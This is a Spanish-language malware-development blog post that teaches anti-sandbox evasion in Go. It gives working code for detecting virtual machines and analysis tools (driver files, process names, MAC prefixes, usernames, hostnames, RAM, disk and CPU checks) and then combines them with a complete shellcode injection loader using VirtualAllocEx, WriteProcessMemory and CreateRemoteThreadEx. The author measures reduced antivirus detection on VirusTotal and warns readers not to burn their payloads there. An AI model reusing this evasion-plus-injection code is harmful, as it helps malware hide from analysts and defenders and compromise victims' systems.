· Asparux · malware · 7 min read
Evasión Anti-SandBox
Introducción
¡Hola Hackers!
En esta publicación, analizaremos algunos de los principales trucos y técnicas anti-sandboxing para evitar el análisis de malware y el sandboxing. Luego, escribiremos un programa Golang basado en la primera publicación para comparar los resultados del análisis.
Explicación
Los analistas de malware utilizan zonas de pruebas para determinar si un programa es malicioso o no. Los proveedores de AV o sandboxing en línea más comunes utilizan sistemas simples y de bajo consumo para analizar las muestras enviadas por el usuario, ¿por qué? Obviamente, porque para hacer esto a escala no se pueden utilizar sistemas con grandes capacidades de almacenamiento en disco, demasiados GB de memoria RAM, conexión a Internet, etc.
Sabiendo esto, podemos hacer algunas comprobaciones en el sistema antes de realizar cualquier acción maliciosa y, si alguna de las comprobaciones indica que el sistema es un entorno aislado, sale del programa y no se puede analizar. Codificaremos alrededor de 10 funciones diferentes para hacer esto.
Esto podría representarse así.
Código
En primer lugar, importemos los paquetes necesarios y algunas otras estructuras y funciones auxiliares que se usarán más adelante. También utilicé estas funciones en la cuarta publicación de desarrollo de malware para encontrar el PID de lsass.exe.
import (
"os"
"fmt"
"log"
"net"
"unsafe"
"syscall"
"os/user"
"runtime"
"strings"
"net/http"
"golang.org/x/sys/windows"
)
type MemStatusEx struct { // Auxiliary struct to retrieve total memory
dwLength uint32
dwMemoryLoad uint32
ullTotalPhys uint64
ullAvailPhys uint64
unused [5]uint64
}
type WindowsProcess struct { // estructura de procesos de windows
ProcessID int // PID
ParentProcessID int
Exe string // Cmdline executable (ej: explorer.exe)
}
func GetProcesses() ([]WindowsProcess, error) { // conseguir todos los procesos usando windows API
handle, err := windows.CreateToolhelp32Snapshot(0x00000002, 0)
if err != nil {
return nil, err
}
defer windows.CloseHandle(handle)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
err = windows.Process32First(handle, &entry)
if err != nil {
return nil, err
}
results := make([]WindowsProcess, 0, 50)
for {
results = append(results, NewWindowsProcess(&entry))
err = windows.Process32Next(handle, &entry)
if err != nil {
if err == syscall.ERROR_NO_MORE_FILES {
return results, nil
}
return nil, err
}
}
}
// Función Auxiliar
func NewWindowsProcess(e *windows.ProcessEntry32) WindowsProcess {
end := 0
for {
if e.ExeFile[end] == 0 {
break
}
end++
}
return WindowsProcess{
ProcessID: int(e.ProcessID),
ParentProcessID: int(e.ParentProcessID),
Exe: syscall.UTF16ToString(e.ExeFile[:end]),
}
}
Nuestra primera comprobación será el almacenamiento en disco, si tiene menos de 64 GB es señal de sandboxing porque las PC reales tienen más capacidad que eso.
func main(){
GetDiskFreeSpaceExW := windows.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW")
lpTotalNumberOfBytes := int64(0)
diskret, _, err := GetDiskFreeSpaceExW.Call(
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("C:\\"))),
uintptr(0),
uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
uintptr(0),
)
if diskret == 0 {
log.Fatal(err)
}
if int(lpTotalNumberOfBytes) < 68719476736 {
os.Exit(0)
}
}
Verifique también los núcleos de la CPU, menos de 2 pueden ser una zona de pruebas
unc main(){
...
if runtime.NumCPU() < 2 {
os.Exit(0)
}
}
Aquí también comprobamos el tamaño de la memoria RAM (menos de 4 GB)
func main(){
...
msx := &MemStatusEx{
dwLength: 64,
}
GlobalMemoryStatusEx := windows.NewLazyDLL("kernel32").NewProc("GlobalMemoryStatusEx")
r1, _, err := GlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(msx)))
if r1 == 0 {
log.Fatal(err)
}
// 4174967296 bytes = 4GB
if int(msx.ullTotalPhys) < 4174967296 {
os.Exit(0)
}
}
Compruebe si existe alguno de los archivos de matriz; son controladores de virtualización que se encuentran en sistemas Windows
func main(){
...
drivers := []string{"C:\\Windows\\System32\\drivers\\VBoxMouse.sys","C:\\Windows\\System32\\drivers\\VBoxGuest.sys","C:\\Windows\\System32\\drivers\\VBoxSF.sys","C:\\Windows\\System32\\drivers\\VBoxVideo.sys","C:\\Windows\\System32\\vboxdisp.dll","C:\\Windows\\System32\\vboxhook.dll","C:\\Windows\\System32\\vboxmrxnp.dll","C:\\Windows\\System32\\vboxogl.dll","C:\\Windows\\System32\\vboxoglarrayspu.dll","C:\\Windows\\System32\\vboxservice.exe","C:\\Windows\\System32\\vboxtray.exe","C:\\Windows\\System32\\VBoxControl.exe","C:\\Windows\\System32\\drivers\\vmmouse.sys","C:\\Windows\\System32\\drivers\\vmhgfs.sys","C:\\Windows\\System32\\drivers\\vmci.sys","C:\\Windows\\System32\\drivers\\vmmemctl.sys","C:\\Windows\\System32\\drivers\\vmmouse.sys","C:\\Windows\\System32\\drivers\\vmrawdsk.sys","C:\\Windows\\System32\\drivers\\vmusbmouse.sys"}
for _, d := range drivers { // Itera sobre todos los drivers y verifica si existen
_, err = os.Stat(d)
if (os.IsNotExist(err) == false) {
os.Exit(0)
}
}
}
Al igual que los controladores, también podemos verificar el nombre de los procesos y, si se llama a alguien como VBox , VMWare o cualquier otra aplicación de monitoreo ejecutable, entonces salimos.
func main(){
...
vm_proccesses := []string{"vboxservice.exe","vboxtray.exe","vmtoolsd.exe","vmwaretray.exe","vmware.exe","vmware-vmx.exe", "vmwareuser","VGAuthService.exe","vmacthlp.exe","vmsrvc.exe","vmusrvc.exe","xenservice.exe","qemu-ga.exe","wireshark.exe","Procmon.exe","Procmon64.exe","volatily.exe","volatily3.exe","DumpIt.exe","dumpit.exe"}
processes, err := GetProcesses()
if err != nil {
log.Fatal(err)
}
// Itera en todos los procesos
for _, p := range processes {
for _, p_name := range vm_proccesses {
if p.Exe == p_name {
os.Exit(0)
}
}
}
}
Siempre es buena idea comprobar también la cantidad total de procesos, no recuerdo el nombre pero un malware utilizó esta técnica y no se “encendía” si el sistema no tenía al menos 15 procesos.
func main(){
...
if len(processes) <= 15 {
os.Exit(0)
}
}
Esta comprobación es realmente radical ya que envía una petición http a un dominio inexistente y si parece estar activo es porque el DNS está modificado.
func main(){
...
// Chequea si es un falso dominio
resp, err := http.Get("https://dominio-falso.com")
if err != nil {
log.Fatal(err)
}
if resp.StatusCode == 200 {
os.Exit(0)
}
}
Aquí obtenemos el nombre de usuario y comprobamos si coincide con algunos nombres de usuario de sandbox conocidos (se podría hacer mejor con más nombres de usuario)
func main(){
...
u, err := user.Current()
if err != nil {
log.Fatal(err)
}
known_usernames := []string{"trans_iso_0","analysis","sandbox","debug4fun","j.yoroi","Virtual","user1","Cuckoofork","JujuBox"}
for _, name := range known_usernames {
if u.Username == name { // chequea si hay match
os.Exit(0)
}
}
}
Este es realmente interesante, obtiene todas las direcciones MAC disponibles y las compara con todos los prefijos MAC de VBox y VMWare.
func main(){
...
ifaces, err := net.Interfaces()
if err != nil {
log.Fatal(err)
}
// Vendedor de virtualizacion prefijos MAC
known_macs := []string{"00:50:56","00:0C:29","00:05:69","00:1C:14","08:00:27","52:54:00","00:21:F6","00:0F:4B","00:14:4F"}
for _, i := range ifaces {
for _, mac := range known_macs {
pc_mac := i.HardwareAddr.String()
if strings.Contains(strings.ToUpper(pc_mac), mac) == true {
os.Exit(0)
}
}
}
}
Y finalmente el último, verifica el nombre del host (este también se podría hacer mucho mejor)
func main(){
...
hostname, err := os.Hostname()
if err != nil {
log.Fatal(err)
}
known_hostnames := []string{"sandbox","analysis","vmware","vbox","qemu","virustotal","cuckoofork"}
for _, h := range known_hostnames {
if hostname == h {
os.Exit(0)
}
}
}
No usaremos todas las comprobaciones porque algunas zonas de pruebas están muy bien preparadas contra estas técnicas, por lo que incluso notarán que estamos haciendo algunas cosas raras, por lo que se marcarán por eso. Es por eso que solo usaré las verificaciones de núcleos de CPU, controladores y tamaño de disco.
En este punto hemos terminado la parte anti-sandboxing. Después de esto, agreguemos la misma inyección de shellcode de la primera publicación para ver si la tasa de detección ha disminuido.
package main
/*
Author: Asparux
Blog post: https://asparux.net/
*/
import (
"os"
"fmt"
"log"
"unsafe"
"strconv"
"runtime"
"io/ioutil"
"golang.org/x/sys/windows"
)
type MemStatusEx struct { // Estructura auxiliar para conseguir toda la memoria
dwLength uint32
dwMemoryLoad uint32
ullTotalPhys uint64
ullAvailPhys uint64
unused [5]uint64
}
func main(){
kernel32 := windows.NewLazyDLL("kernel32.dll")
GetDiskFreeSpaceExW := kernel32.NewProc("GetDiskFreeSpaceExW")
lpTotalNumberOfBytes := int64(0)
diskret, _, err := GetDiskFreeSpaceExW.Call(
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("C:\\"))),
uintptr(0),
uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
uintptr(0),
)
if diskret == 0 {
log.Fatal(err)
}
if int(lpTotalNumberOfBytes) < 68719476736 {
os.Exit(0)
}
if runtime.NumCPU() < 2 {
os.Exit(0)
}
drivers := []string{"C:\\Windows\\System32\\drivers\\VBoxMouse.sys","C:\\Windows\\System32\\drivers\\VBoxGuest.sys","C:\\Windows\\System32\\drivers\\VBoxSF.sys","C:\\Windows\\System32\\drivers\\VBoxVideo.sys","C:\\Windows\\System32\\vboxdisp.dll","C:\\Windows\\System32\\vboxhook.dll","C:\\Windows\\System32\\vboxmrxnp.dll","C:\\Windows\\System32\\vboxogl.dll","C:\\Windows\\System32\\vboxoglarrayspu.dll","C:\\Windows\\System32\\vboxservice.exe","C:\\Windows\\System32\\vboxtray.exe","C:\\Windows\\System32\\VBoxControl.exe","C:\\Windows\\System32\\drivers\\vmmouse.sys","C:\\Windows\\System32\\drivers\\vmhgfs.sys","C:\\Windows\\System32\\drivers\\vmci.sys","C:\\Windows\\System32\\drivers\\vmmemctl.sys","C:\\Windows\\System32\\drivers\\vmmouse.sys","C:\\Windows\\System32\\drivers\\vmrawdsk.sys","C:\\Windows\\System32\\drivers\\vmusbmouse.sys"}
for _, d := range drivers { // iterar en todos los drivers y saber si existe
_, err = os.Stat(d)
if (os.IsNotExist(err) == false) {
os.Exit(0)
}
}
pid := os.Args[1]
shellcode_file := os.Args[2]
fmt.Println("Process ID: " + pid)
fmt.Println("Shellcode file: " + shellcode_file)
// Convertir el argumento CLI a int
pid_int, _ := strconv.Atoi(pid)
// Abrir el path
f, err := os.Open(shellcode_file)
if err != nil {
log.Fatal(err)
}
defer f.Close()
// Conseguir el contenido a bytes
shellcode, err := ioutil.ReadAll(f)
if err != nil {
log.Fatal(err)
}
fmt.Println("Loading DLLs and functions...")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
CloseHandle := kernel32.NewProc("CloseHandle")
fmt.Println("Calling OpenProcess...")
procHandle, _, _ := OpenProcess.Call(
uintptr(0x1F0FFF), // Acceder al proceso
uintptr(0), // FALSO
uintptr(pid_int), // Proceso a abrir
)
if procHandle == 0 {
fmt.Println("An error has ocurred calling OpenProcess")
os.Exit(0)
}
addr, _, _ := VirtualAllocEx.Call(
uintptr(procHandle),
0,
uintptr(len(shellcode)),
windows.MEM_COMMIT | windows.MEM_RESERVE,
windows.PAGE_EXECUTE_READWRITE,
)
if (addr == 0) {
fmt.Println("A ocurrido un error")
os.Exit(0)
}
WriteProcessMemory.Call(
uintptr(procHandle),
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
)
CreateRemoteThreadEx.Call(
uintptr(procHandle),
0,
0,
addr,
0,
0,
0,
)
_, _, err = CloseHandle.Call(procHandle)
if err != nil {
log.Fatal(err)
}
}
Una vez que hayamos completado esto, estaremos listos para cargarlo en VirusTotal.
Resultados
El anterior tuvo 13 detecciones, lo que ya es una tasa realmente notoria.
Y después de agregar estas 3 comprobaciones vemos los resultados.
Como podemos ver tiene 8 detecciones, y debería ser aún menor pero lo subí un par de veces haciendo algunas pruebas y estas comprobaciones del sistema son un poco antiguas.
ADVERTENCIA
No cargue su malware en VirusTotal , ya que distribuye y vende malware a otras empresas, por lo que sus cargas útiles se agotarán. Esto es sólo para fines de prueba.
Conclusión
Los grupos APT y los Red Team siempre utilizan esta técnica, ya que el malware se “apaga” cuando intenta ejecutarse en un entorno monitoreado. ¡Espero que hayas aprendido mucho! :)
Un saludo, Asparux.